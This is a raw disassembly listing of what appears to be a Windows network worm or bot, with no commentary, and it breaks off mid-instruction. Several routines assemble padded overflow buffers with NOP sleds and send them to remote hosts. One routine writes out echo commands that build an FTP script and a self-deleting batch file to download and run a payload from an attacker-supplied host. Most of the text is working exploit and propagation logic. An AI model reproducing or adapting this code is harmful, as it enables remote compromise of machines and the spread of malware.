sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424715 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424715: ; CODE XREF: sub_4246D0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016C2 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016C2 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4246D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4247B0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4247B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_402054j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424800 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401505j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424870 proc near ; CODE XREF: sub_4017D5j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_424884 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_424884: ; CODE XREF: sub_424870+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_445C04 lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4248E0 proc near ; CODE XREF: sub_401EC9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_401505 test al, al jnz short loc_4248FC pop esi retn 8 ; --------------------------------------------------------------------------- loc_4248FC: ; CODE XREF: sub_4248E0+16j mov ecx, esi call sub_4017D5 pop esi retn 8 sub_4248E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424920 proc near ; CODE XREF: sub_401BFEj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424CF5 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424CF5 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_4458A0 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_4458A8 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B7C lea ecx, [esp+864h+var_830] call sub_4017D5 mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B7C push offset loc_445C28 lea ecx, [esp+868h+var_810] call sub_402054 lea ecx, [esp+864h+var_810] call sub_401B7C mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401843 lea ecx, [esp+864h+var_808] call sub_401B7C mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EC9 lea ecx, [esp+864h+var_808] call sub_4016C2 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402054 push 4 push offset dword_4458AC lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B7C mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_401505 mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_401505 lea ecx, [esp+864h+var_820] call sub_4017D5 lea ecx, [esp+864h+var_848] call sub_4016C2 lea ecx, [esp+864h+var_810] call sub_4016C2 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_401505 mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_401505 mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_401505 lea ecx, [esp+864h+var_828] call sub_4017D5 lea ecx, [esp+864h+var_840] call sub_4016C2 lea ecx, [esp+864h+var_830] call sub_4016C2 lea ecx, [esp+864h+var_820] call sub_4016C2 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B7C push 2 push offset dword_445C1C lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_401505 lea ecx, [esp+864h+var_838] call sub_4017D5 lea ecx, [esp+864h+var_828] call sub_4016C2 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016C2 push offset dword_445C18 lea ecx, [esp+868h+var_858] call sub_402054 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_444E60 lea ecx, [esp+868h+var_850] call sub_402054 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016C2 push offset dword_445C0C lea ecx, [esp+868h+var_858] call sub_402054 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_445C08 lea ecx, [esp+868h+var_818] call sub_402054 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4016C2 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424CF5: ; CODE XREF: sub_424920+1Ej ; sub_424920+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424920 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_401AC8j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 nop call near ptr 71AB2DC0h cmp eax, 1 jz short loc_424E89 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424E89: ; CODE XREF: sub_424E20+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_438256 sub_424E20 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424EA0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424EA0: ; CODE XREF: ___:00424E96j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi call near ptr 71AB615Ah nop pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F00 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi call near ptr 71AB2BC0h nop mov edi, [esp+0Ch+arg_0] mov ebx, dword_511CA0 mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424F33 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424F33: ; CODE XREF: sub_424F00+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424F00 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F70 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424FA3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424F70+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_44593C shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_4458B4 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_44596C mov [ebx+31h], eax mov ecx, dword_445970 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_510100 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_510104 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_425048 push ebx call near ptr 77C2C21Bh nop add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425048: ; CODE XREF: sub_424F70+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AC8 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_425083 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425083: ; CODE XREF: sub_424F70+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AC8 push ebx call near ptr 77C2C21Bh nop add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424F70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425100 proc near ; CODE XREF: sub_401820j var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = word ptr -418h var_416 = dword ptr -416h var_412 = dword ptr -412h var_40E = dword ptr -40Eh var_40A = word ptr -40Ah var_408 = dword ptr -408h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 420h push ebp push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [esp+42Ch+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_445AE0 lea edi, [esp+42Ch+var_400] rep movsd movsw mov ecx, offset byte_449511 movsb call sub_4017EE push eax mov ecx, offset byte_449511 call sub_4017EE mov ecx, [esp+430h+arg_0] push eax mov eax, dword_44964F push eax push ecx call sub_401E10 add esp, 4 lea edx, [esp+438h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx call near ptr 77C3FA76h nop add eax, 90h lea ecx, [esp+448h+var_408] push eax lea eax, [esp+44Ch+var_400] push eax push 164h push offset sub_445978 push ecx call sub_401BFE mov edx, [eax] xor edi, edi mov [esp+45Ch+var_420], edx add esp, 30h mov eax, [eax+4] cmp eax, edi mov [esp+42Ch+var_41C], eax jnz short loc_4251B2 xor eax, eax pop edi pop esi pop ebp add esp, 420h retn ; --------------------------------------------------------------------------- loc_4251B2: ; CODE XREF: sub_425100+A4j mov ebp, dword_511C38 mov [esp+42Ch+var_408], edi loc_4251BC: ; CODE XREF: sub_425100+161j test edi, edi jnz loc_425267 push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_42524A mov ecx, [esp+42Ch+arg_9E] xor eax, eax mov [esp+42Ch+var_416], eax push ecx mov [esp+430h+var_412], eax mov [esp+430h+var_418], 2 mov [esp+430h+var_40E], eax mov [esp+430h+var_40A], ax call ebp ; ntohs lea edx, [esp+42Ch+arg_4] mov word ptr [esp+42Ch+var_416], ax push edx nop call near ptr 71AB2BF4h mov [esp+42Ch+var_416+2], eax lea eax, [esp+42Ch+var_418] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_42523F mov ecx, [esp+42Ch+var_41C] mov edx, [esp+42Ch+var_420] push ecx push edx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_42523F: ; CODE XREF: sub_425100+123j push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_425255 loc_42524A: ; CODE XREF: sub_425100+D5j push 3E8h call near ptr 2850369h nop loc_425255: ; CODE XREF: sub_425100+148j mov eax, [esp+42Ch+var_408] inc eax cmp eax, 2 mov [esp+42Ch+var_408], eax jl loc_4251BC loc_425267: ; CODE XREF: sub_425100+BEj lea ecx, [esp+42Ch+var_420] call sub_4016C2 test edi, edi jz short loc_425297 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E8h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425297: ; CODE XREF: sub_425100+172j pop edi pop esi mov eax, 1 pop ebp add esp, 420h retn sub_425100 endp ; --------------------------------------------------------------------------- aRrrrrrrrrr db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜι',1Bh,0 align 4 dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h dd 2 dup(90909090h), 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_425370 proc near ; CODE XREF: sub_4013D4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 0C8h nop call near ptr 2850369h mov edx, [esp+4+arg_4] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+4+arg_0] push 0 not ecx dec ecx push ecx push edx push eax nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh pop edi setnz al retn sub_425370 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253C0 proc near ; CODE XREF: sub_4013BBj var_434 = byte ptr -434h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_4253C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 428h xor eax, eax push ebx mov [esp+438h+var_41C], eax push esi mov [esp+43Ch+var_418], eax lea ecx, [esp+43Ch+arg_4] push edi mov [esp+440h+var_414], eax push ecx mov [esp+444h+var_410], eax mov word ptr [esp+444h+var_41C], 2 nop call near ptr 71AB2BF4h mov dx, word_510108 mov [esp+440h+var_418], eax push edx call near ptr 71AB2B66h nop push 0 push 1 push 2 mov word ptr [esp+44Ch+var_41C+2], ax nop call near ptr 71AB3B91h mov esi, eax or ebx, 0FFFFFFFFh cmp esi, ebx jz loc_4256BE lea eax, [esp+440h+var_41C] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, ebx jz loc_4256BE mov edi, dword_511CA4 push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv lea ecx, [esp+440h+var_434] call sub_40142E mov edx, dword_44964F mov eax, [esp+440h+arg_0] push edx push eax mov [esp+448h+var_4], 0 call sub_401E10 add esp, 4 lea ecx, [esp+444h+var_434] push eax push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n" push ecx call sub_40102D add esp, 10h lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoBinary_pif ; "echo binary>>.pif \r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449511 call sub_4017EE push eax lea ecx, [esp+444h+var_434] push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n" push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoBye_pif ; "echo bye>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449511 call sub_4017EE push eax lea edx, [esp+444h+var_434] push offset aEchoSC_bat ; "echo %s >>c.bat\r\n" push edx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea eax, [esp+440h+var_434] push offset dword_4467A4 push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jnz short loc_4256C2 loc_4256AE: ; CODE XREF: sub_4253C0+F3j ; sub_4253C0+120j ... lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 loc_4256BE: ; CODE XREF: sub_4253C0+6Fj ; sub_4253C0+85j xor al, al jmp short loc_4256EA ; --------------------------------------------------------------------------- loc_4256C2: ; CODE XREF: sub_4253C0+2ECj push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv push esi nop call near ptr 71AB9639h lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 mov al, 1 loc_4256EA: ; CODE XREF: sub_4253C0+300j mov ecx, [esp+440h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 434h retn sub_4253C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257F0 proc near ; CODE XREF: sub_40180Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_28 = byte ptr 2Ch arg_2C = byte ptr 30h arg_2F = byte ptr 33h arg_59 = byte ptr 5Dh arg_5B = byte ptr 5Fh arg_5C = byte ptr 60h arg_90 = byte ptr 94h arg_A4 = byte ptr 0A8h arg_A5 = byte ptr 0A9h arg_F0 = byte ptr 0F4h arg_190 = byte ptr 194h arg_89C = dword ptr 8A0h arg_8AC = byte ptr 8B0h arg_8D4 = dword ptr 8D8h arg_8E4 = byte ptr 8E8h arg_C08 = dword ptr 0C0Ch arg_C0C = dword ptr 0C10h arg_C18 = byte ptr 0C1Ch arg_E30 = byte ptr 0E34h arg_E50 = byte ptr 0E54h arg_E70 = byte ptr 0E74h arg_E90 = byte ptr 0E94h arg_1480 = byte ptr 1484h arg_14E0 = byte ptr 14E4h arg_14FC = byte ptr 1500h arg_1CCC = byte ptr 1CD0h arg_2177 = byte ptr 217Bh arg_2464 = byte ptr 2468h arg_24C5 = byte ptr 24C9h arg_34F8 = byte ptr 34FCh arg_3FA0 = byte ptr 3FA4h arg_3FC0 = byte ptr 3FC4h arg_401C = byte ptr 4020h arg_401D = byte ptr 4021h arg_4020 = byte ptr 4024h arg_4030 = byte ptr 4034h arg_4AF4 = byte ptr 4AF8h arg_6098 = byte ptr 609Ch arg_60F8 = byte ptr 60FCh arg_6100 = byte ptr 6104h arg_8140 = byte ptr 8144h arg_81DC = byte ptr 81E0h arg_8234 = dword ptr 8238h arg_8290 = dword ptr 8294h arg_8294 = dword ptr 8298h mov eax, 81D8h call sub_437B30 mov eax, dword_446904 mov ecx, dword_446908 push ebx push ebp push esi lea edx, [esp+0Ch+arg_81DC] push edi mov [esp+10h], eax push edx lea eax, [esp+14h+arg_4] push offset dword_4468F8 push eax mov [esp+1Ch+arg_0], ecx call sub_5F76F7 nop add esp, 0Ch xor eax, eax lea ecx, [esp+10h+arg_A5] loc_425835: ; CODE XREF: sub_4257F0+56j mov dl, [esp+eax+10h+arg_4] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 28h jl short loc_425835 mov ecx, 18h mov esi, offset dword_4461C8 lea edi, [esp+10h+arg_2C] xor eax, eax rep movsd lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+10h+arg_A4] shl ecx, 1 mov eax, ecx lea edi, [esp+10h+arg_5C] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 mov edx, dword_44621F rep movsb lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx mov eax, dword_446223 dec ecx lea edi, [esp+10h+arg_4] lea ecx, [esp+ecx*2+10h+arg_5B] mov [ecx], edx mov dl, byte_446227 mov [ecx+4], eax xor eax, eax mov [ecx+8], dl or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+10h+arg_4] mov ebx, ecx or ecx, 0FFFFFFFFh add bl, 1Ah shl bl, 1 repne scasb mov ax, word_510108 mov [esp+10h+arg_2F], bl not ecx dec ecx push eax shl cl, 1 add cl, 9 mov [esp+14h+arg_59], cl call near ptr 71AB2B66h nop mov edx, [esp+14h+arg_8294] xor eax, 9999h test edx, edx mov word_445EC8, ax jz loc_4259E3 mov ecx, 36Bh mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov edx, dword_4465BC[edx*8] rep stosd mov edi, offset loc_445E18 or ecx, 0FFFFFFFFh xor eax, eax mov esi, offset loc_445E18 repne scasb not ecx dec ecx lea edi, [esp+14h+arg_8E4] mov eax, ecx mov [esp+14h+arg_8D4], edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, dword_4468F0 mov edi, offset loc_445E18 mov [esp+14h+arg_C08], ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov [esp+14h+arg_C0C], edx mov edx, ecx mov esi, offset loc_445E18 lea edi, [esp+14h+arg_C18] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+14h+arg_24C5] loc_42598F: ; CODE XREF: sub_4257F0+1B5j mov dl, [esp+eax+14h+arg_F0] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 0DACh jl short loc_42598F mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_60F8] mov [esp+14h+arg_401C], 0 rep stosd stosw mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_4020] mov 